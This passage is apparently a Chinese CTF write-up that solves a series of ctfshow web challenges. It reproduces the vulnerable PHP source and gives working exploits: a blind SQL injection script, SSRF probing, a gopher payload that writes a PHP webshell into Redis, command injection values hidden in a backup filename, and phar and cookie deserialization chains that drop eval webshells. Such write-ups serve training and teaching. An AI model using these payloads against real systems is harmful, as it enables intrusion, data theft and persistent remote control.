email: h1xa@ctfer.com
link: https://ctfer.com

*/
session_start();
include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];


if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
if(preg_match('/\:|\,/', $c)){
#$user=unserialize($c);
}
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}

switch ($action) {
case 'check':
$username=$_POST['username'];
$password=$_POST['password'];
if(!preg_match('/or|file|innodb|sys|mysql/i', $username)){
$sql = "select username,nickname from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one_array($sql);
}
if($user){
$_SESSION['user']=$user;
header('location:index.php?action=index');
}else{
templateUtil::render('error');
}
break;
case 'clear':
system('rm -rf cache/*');
die('cache clear');
break;
case 'login':
templateUtil::render($action);
break;
case 'index':
$user=$_SESSION['user'];
if($user){
templateUtil::render('index',$user);
}else{
header('location:index.php?action=login');
}
break;
case 'view':
$user=$_SESSION['user'];
if($user){
templateUtil::render($_GET['page'],$user);
}else{
header('location:index.php?action=login');
}
break;
case 'logout':
session_destroy();
header('location:index.php?action=login');
break;
default:
templateUtil::render($action);
break;
}


render/render_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:52:18
Last Modified by: h1xa
Last Modified time: 2021-03-14 09:23:59
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
echo $cache;
}
public static function shade($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}

}




render/db_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:43:40
Last Modified by: h1xa
Last Modified time: 2021-03-15 05:02:27
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
class db{

public $db;
public $log;
public $sql;
public $username='root';
public $password='root';
public $port='3306';
public $addr='127.0.0.1';
public $database='ctfshow';
public function __construct(){
$this->log=new dbLog();
$this->db=$this->getConnection();
}

public function getConnection(){

return new mysqli($this->addr,$this->username,$this->password,$this->database);
}

public function select_one($sql){
$this->sql=$sql;
$result=$this->db->query($sql);
if($result){
return $result->fetch_object();
}

}
public function select_one_array($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$this->db->query($sql);
if($result){
return $result->fetch_assoc();
}
}
public function update_one($sql){
$this->sql=$sql;
$conn = db::getConnection();
$this->db->query($sql);
return $this->db->affected_rows;
}

public function __destruct(){
$this->log->log($this->sql);
}
}
class dbLog{
public $sql;
public $content;
public $log;

public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}



file_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:56:41
Last Modified by: h1xa
Last Modified time: 2021-03-09 14:08:48
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
class fileUtil{

public static function read($filename){
return file_get_contents($filename);
}

public static function write($filename,$content,$append =0){
if($append){
file_put_contents($filename, $content,FILE_APPEND);
}else{
file_put_contents($filename, $content);
}
}
}

cache_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:49:18
Last Modified by: h1xa
Last Modified time: 2021-03-13 20:02:23
email: h1xa@ctfer.com
link: https://ctfer.com

*/


class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.html')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.html',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.html');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.html');
}

}

这次发现登录之后会进入index页面,我们这里直接进行登录

image-20220413182606641

image-20220413182616097

image-20220413182939258

发现也就一个view有用

image-20220413183106690

又搜到一个.php文件

admin_edit.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-15 04:27:41
Last Modified by: h1xa
Last Modified time: 2021-03-15 05:36:01
email: h1xa@ctfer.com
link: https://ctfer.com

*/
session_start();
include('../render/db_class.php');

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}




import random

import requests
url = "http://3e4559fb-80d2-422f-bc45-181f5d5a6d3c.challenge.ctf.show/api/admin_edit.php"
login = "http://3e4559fb-80d2-422f-bc45-181f5d5a6d3c.challenge.ctf.show/index.php?action=check"
data = {
"username" :"1'||1=1#",
"password":'1',
'action':'check'
}
session = requests.session()
session.post(login,data=data,proxies={"http":"http://127.0.0.1:8081"})

payload = "if(ascii(substr((select database()),1,1))=0,1,0)" #错误
payload = "if(ascii(substr((select database()),1,1))>0,1,0)" #正确
date = {
"user[username]": f"1' or {payload}#",
'nickname': f"{random.randint(1,10000)}"
}

r = session.post(url, data=date)
print(r.json())

import random

import requests
url = "http://3e4559fb-80d2-422f-bc45-181f5d5a6d3c.challenge.ctf.show/api/admin_edit.php"
login = "http://3e4559fb-80d2-422f-bc45-181f5d5a6d3c.challenge.ctf.show/index.php?action=check"
data = {
"username" :"1'||1=1#",
"password":'1',
'action':'check'
}
session = requests.session()
session.post(login,data=data,proxies={"http":"http://127.0.0.1:8081"})
result =""
i = 0
while 1:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# 查数据库 flagyoudontknow76
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查表名
#payload = "select group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'"
# 查数据
payload = "select flagisherebutyouneverknow118 from flagyoudontknow76"
date = {
"user[username]": f"1' or if(ascii(substr(({payload}),{i},1))>{mid},1,0)#",
'nickname': f"{random.randint(1,100000)}"
}
r = session.post(url, data=date)
#print(r.json())
if "管理员信息修改成功" == r.json()['msg']:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)


web497

index.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 15:43:51
Last Modified by: h1xa
Last Modified time: 2021-03-15 07:34:08
email: h1xa@ctfer.com
link: https://ctfer.com

*/
session_start();
include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];


if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
if(!preg_match('/\:|\,/', $c)){
$user=unserialize($c);
}
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}

switch ($action) {
case 'check':
$username=$_POST['username'];
$password=$_POST['password'];
if(!preg_match('/file|or|innodb|sys|mysql/i', $username)){
$sql = "select username,nickname,avatar from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one_array($sql);
}
if($user){
$_SESSION['user']=$user;
header('location:index.php?action=index');
}else{
templateUtil::render('error');
}
break;
case 'clear':
system('rm -rf cache/*');
die('cache clear');
break;
case 'login':
templateUtil::render($action);
break;
case 'index':
$user=$_SESSION['user'];
if($user){
templateUtil::render('index',$user);
}else{
header('location:index.php?action=login');
}
break;
case 'view':
$user=$_SESSION['user'];
if($user){
templateUtil::render($_GET['page'],$user);
}else{
header('location:index.php?action=login');
}
break;
case 'logout':
session_destroy();
header('location:index.php?action=login');
break;
default:
templateUtil::render($action);
break;
}


render/db_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:43:40
Last Modified by: h1xa
Last Modified time: 2021-03-15 05:02:27
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
class db{

public $db;
public $log;
public $sql;
public $username='root';
public $password='root';
public $port='3306';
public $addr='127.0.0.1';
public $database='ctfshow';
public function __construct(){
$this->log=new dbLog();
$this->db=$this->getConnection();
}

public function getConnection(){

return new mysqli($this->addr,$this->username,$this->password,$this->database);
}

public function select_one($sql){
$this->sql=$sql;
$result=$this->db->query($sql);
if($result){
return $result->fetch_object();
}

}
public function select_one_array($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$this->db->query($sql);
if($result){
return $result->fetch_assoc();
}
}
public function update_one($sql){
$this->sql=$sql;
$conn = db::getConnection();
$this->db->query($sql);
return $this->db->affected_rows;
}

public function __destruct(){
$this->log->log($this->sql);
}
}
class dbLog{
public $sql;
public $content;
public $log;

public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}



render/render_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:52:18
Last Modified by: h1xa
Last Modified time: 2021-03-15 08:40:19
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
echo $cache;
}
public static function shade($templateContent,$arg=array()){
$templateContent=templateUtil::checkImage($templateContent,$arg);
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}

public static function checkImage($templateContent,$arg=array()){
foreach ($arg as $key => $value) {

if(stripos($templateContent, '{{img:'.$key.'}}')){
$encode='';
if(file_exists(__DIR__.'/../cache/'.md5($value))){
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
}else{
$ch=curl_init($value);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
$ret=chunk_split(base64_encode($result));
$encode = 'data:image/jpg/png/gif;base64,' . $ret;
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
}
$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
}

}
return $templateContent;
}

}




file_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:56:41
Last Modified by: h1xa
Last Modified time: 2021-03-09 14:08:48
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
class fileUtil{

public static function read($filename){
return file_get_contents($filename);
}

public static function write($filename,$content,$append =0){
if($append){
file_put_contents($filename, $content,FILE_APPEND);
}else{
file_put_contents($filename, $content);
}
}
}

cache_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:49:18
Last Modified by: h1xa
Last Modified time: 2021-03-13 20:02:23
email: h1xa@ctfer.com
link: https://ctfer.com

*/


class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.html')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.html',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.html');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.html');
}

}

api/admin_edit.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-15 04:27:41
Last Modified by: h1xa
Last Modified time: 2021-03-15 07:45:25
email: h1xa@ctfer.com
link: https://ctfer.com

*/
session_start();
include('../render/db_class.php');

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
$user= $_SESSION['user'];
if(preg_match('/\'|\"|\\\/', $avatar)){
$ret['msg']='存在无效字符';
die(json_encode($ret));
}
$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$_SESSION['user']['avatar']=$avatar;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}




image-20220413201803657

找到一个修改头像,试试ssrf

image-20220413201900968

使用file协议读取文件

image-20220413203537687

image-20220413203611392

web498

这次发现flag文件读不成了,但是ssrf还在

image-20220413204553495

我们使用

dict://127.0.0.1:80

来探测一下本地端口

image-20220413205251454

image-20220413205320503

发现6379端口开着,试试ssrf打无密码redis

gopherus --exploit redis
php

<?php eval($_POST['zf']);?>

image-20220413205531082

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27zf%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

image-20220413210540856

web499

这次多了一个settings.php

image-20220413210943926

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-16 15:50:14
Last Modified by: h1xa
Last Modified time: 2021-03-16 16:03:19
email: h1xa@ctfer.com
link: https://ctfer.com

*/


session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));
foreach ($_POST as $key => $value) {
$config[$key]=$value;
}
file_put_contents(__DIR__.'/../config/settings.php', serialize($config));
$ret['msg']='管理员信息修改成功';
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}

image-20220413212004560

简单写个一句话,写到了’_DIR_.’/../config/settings.php

image-20220413212112902

web500

image-20220413212450700

这次多了一个数据库备份

image-20220413212901748

找到一个备份地址

api/admin_db_backup.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-16 17:22:29
Last Modified by: h1xa
Last Modified time: 2021-03-16 19:17:07
email: h1xa@ctfer.com
link: https://ctfer.com

*/
session_start();


error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);


if(file_exists(__DIR__.'/../backup/'.$db_path)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}


命令执行

;cp /f* /var/www/html/zf.txt

image-20220413215811269

image-20220413215857742

web501

api/admin_db_backup.php


<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-16 17:22:29
Last Modified by: h1xa
Last Modified time: 2021-03-17 14:39:25
email: h1xa@ctfer.com
link: https://ctfer.com

*/
session_start();


error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);

if(preg_match('/^zip|tar|sql$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);
if(file_exists(__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}

die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}


db_format=tar; cp /f* /var/www/html/zf.txt

image-20220413220821778

image-20220413220833082

web502

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-16 17:22:29
Last Modified by: h1xa
Last Modified time: 2021-03-18 22:15:42
email: h1xa@ctfer.com
link: https://ctfer.com

*/
session_start();

include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
die(json_encode($ret));
}

if(preg_match('/^(zip|tar|sql)$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}



这不是顾头不顾腚吗

l; cp /f* /var/www/html/zf.txt;

image-20220413221724286

image-20220413221731992

web503

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-16 17:22:29
Last Modified by: h1xa
Last Modified time: 2021-03-18 22:15:42
email: h1xa@ctfer.com
link: https://ctfer.com

*/
session_start();

include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
die(json_encode($ret));
}

if(preg_match('/^(zip|tar|sql)$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format));
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}


image-20220413222608356

又找到一个好东西

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-18 21:53:13
Last Modified by: h1xa
Last Modified time: 2021-03-18 22:11:18
email: h1xa@ctfer.com
link: https://ctfer.com

*/

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
$arr = $_FILES["file"];
if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
{
$arr["tmp_name"];
$filename = md5($arr['name']);
$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
if(!preg_match('/^php$/i', $ext)){
$basename = "../img/".$filename.'.' . $ext;
move_uploaded_file($arr["tmp_name"],$basename);
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$config['logo']=$filename.'.' . $ext;
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='文件上传成功';
}

}else{
$ret['msg']='文件上传失败';
}

die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}


这不是来了吗,有一个file_exists($pre.$db_format),还有文件上传.并且这里面的参数还可控

<?php

class dbLog{
public $sql;
public $content ='<?php @eval($_POST[zf]);?>';
public $log ="./zf.php";

public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}

$final = new dbLog();


@unlink('zf.phar');

$phar=new Phar('zf.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($final);
$phar->addFromString("zf.txt","test");
$phar->stopBuffering();
?>

image-20220413223842488

image-20220413223917170

db_format=img/ee6d68225691981a53cadf2f11b187a7.jpg&pre=phar:///var/www/html/

记住使用phar://协议哦

image-20220413224734911

image-20220413224744176

web504

image-20220414104704841

这里也是搜到一个模板php,但是这里读取不了源码了

我们查看一下抓个包试试

image-20220414105156834

可以看到这里访问的index.sml文件.我们试试有没有文件遍历

image-20220414105404649

可见查询失败

image-20220414105530888

下载这里也是一样

image-20220414105605711

新增模板呢

image-20220414105811237

上传成功.我们试试.php文件

image-20220414105901789

/api/admin_settings.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-16 15:50:14
Last Modified by: h1xa
Last Modified time: 2021-03-16 16:26:31
email: h1xa@ctfer.com
link: https://ctfer.com

*/


session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($_POST as $key => $value) {
$config[$key]=$value;
}
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='管理员信息修改成功';
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}

复习一个这个文件

<?php

class dbLog{
public $sql;
public $content ='<?php @eval($_POST[zf]);?>';
public $log ="./zf.php";

public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}

$final = new dbLog();
echo ';user='.urlencode(serialize($final));
#;user=O%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A26%3A%22%3C%3Fphp+%40eval%28%24_POST%5Bzf%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A8%3A%22.%2Fzf.php%22%3B%7D

image-20220414112216286

image-20220414112259433

可见已经反序列化了

image-20220414113103225

web505

image-20220414121330746

这次发现又多了一个文件查看

image-20220414121359533

发现可以看到源码.我们看下新加的文件

api/admin_file_view.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-24 00:53:45
Last Modified by: h1xa
Last Modified time: 2021-03-24 02:49:36
email: h1xa@ctfer.com
link: https://ctfer.com

*/


session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){

extract($_POST);
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}

image-20220414122321538

先传一个文件上去

image-20220414123323733

image-20220414123406853

web506

api/admin_file_view.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-24 00:53:45
Last Modified by: h1xa
Last Modified time: 2021-03-24 02:49:36
email: h1xa@ctfer.com
link: https://ctfer.com

*/


session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){

extract($_POST);
$ext = substr($f, strlen($f)-3,3);
if(preg_match('/php|sml|phar/i', $ext)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}

image-20220414124910368

image-20220414125413444

image-20220414125540070

web507

api/admin_file_view.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-24 00:53:45
Last Modified by: h1xa
Last Modified time: 2021-03-24 02:49:36
email: h1xa@ctfer.com
link: https://ctfer.com

*/


session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){

extract($_POST);
$ext = substr($f, strlen($f)-3,3);
if(preg_match('/php|sml|phar/i', $ext)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}


api/admin_templates.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-19 18:49:54
Last Modified by: h1xa
Last Modified time: 2021-03-24 00:33:25
email: h1xa@ctfer.com
link: https://ctfer.com

*/


session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
$action=$_GET['action'];
if(!isset($user)){
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
switch ($action) {
case 'list':
$sql = "select id,name,type,path,des from templates limit 0,10";
$db=new db();
$temps = $db->select_array($sql);
if(count($temps)>0){
$ret['count']=count($temps);
$ret['data']=$temps;
$ret['msg']='查询成功';
}
break;
case 'update':
extract($_POST);
$row=json_decode($row);
if(waf($row)){
break;
}
$sql ="update templates set name='{$row->name}',path='{$row->path}',type='{$row->type}',des='{$row->des}' where id ={$row->id}";
$db = new db();
if($db->update_one($sql)){
$ret['msg']='实时更新成功';
}else{
$ret['msg']='实时更新失败';
}
break;
case 'getContents':
extract($_POST);
$template=json_decode($template);
if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_]+$/', $template->path)){
$ret['count']=1;
$ret['msg']='查询成功';
$ret['data']=array('contents'=>htmlspecialchars(file_get_contents(__DIR__.'/../templates/'.$template->path)));
}
break;
case 'download':
extract($_POST);
if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_]+$/', $path)){
header("Content-Type: application/octet-stream");
header('Content-Disposition: attachment; filename="' . $path. '"');
echo file_get_contents(__DIR__.'/../templates/'.$path);
exit();
}
break;
case 'upload':
extract($_POST);
if(!preg_match('/php|phar|ini|settings/i', $name))
{
if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
$ret['msg']='文件上传失败';
}else{
file_put_contents(__DIR__.'/../templates/'.$name, $content);
$ret['msg']='文件上传成功';
}

}else{
$ret['msg']='文件上传失败';
}
break;
default:
# code...
break;
}

function waf($row){
$ret = false;
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_]+$/', $row->name)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_]+$/', $row->type)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_]+$/', $row->des)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_]+$/', $row->path)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_]+$/', $row->id)){
$ret=true;
}
return $ret;
}
die(json_encode($ret));


这次对文件上传进行了过滤

image-20220414130230633

从这里传

image-20220414130410885

image-20220414130450436

web508

api/admin_edit.php


<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-15 04:27:41
Last Modified by: h1xa
Last Modified time: 2021-03-15 07:45:25
email: h1xa@ctfer.com
link: https://ctfer.com

*/
session_start();
include('../render/db_class.php');

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(preg_match('/\'|\"|\\\/', $avatar)){
$ret['msg']='存在无效字符';
die(json_encode($ret));
}
$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$_SESSION['user']['avatar']=$avatar;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}




可见这里并没有将图片放到本地,而是放到了session里面

image-20220414131751499

image-20220414131808105

image-20220414132009224

web509

image-20220414133327832

image-20220414133433745

image-20220414133503550

web510

image-20220414133936922

image-20220414134023254

image-20220414134049496

web511

/index.php


<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 15:43:51
Last Modified by: h1xa
Last Modified time: 2021-03-25 16:43:05
email: h1xa@ctfer.com
link: https://ctfer.com

*/
session_start();
include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];


if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
if(!preg_match('/\:|\,/', $c)){
$user=unserialize($c);
}
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}

switch ($action) {
case 'check':
extract($_POST);
if(!preg_match('/file|or|innodb|sys|mysql/i', $username)){
$sql = "select username,nickname,avatar from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one_array($sql);
}
if($user){
$_SESSION['user']=$user;
header('location:index.php?action=index');
}else{
templateUtil::render('error');
}
break;
case 'clear':
system('rm -rf cache/*');
die('cache clear');
break;
case 'login':
templateUtil::render($action);
break;
case 'index':
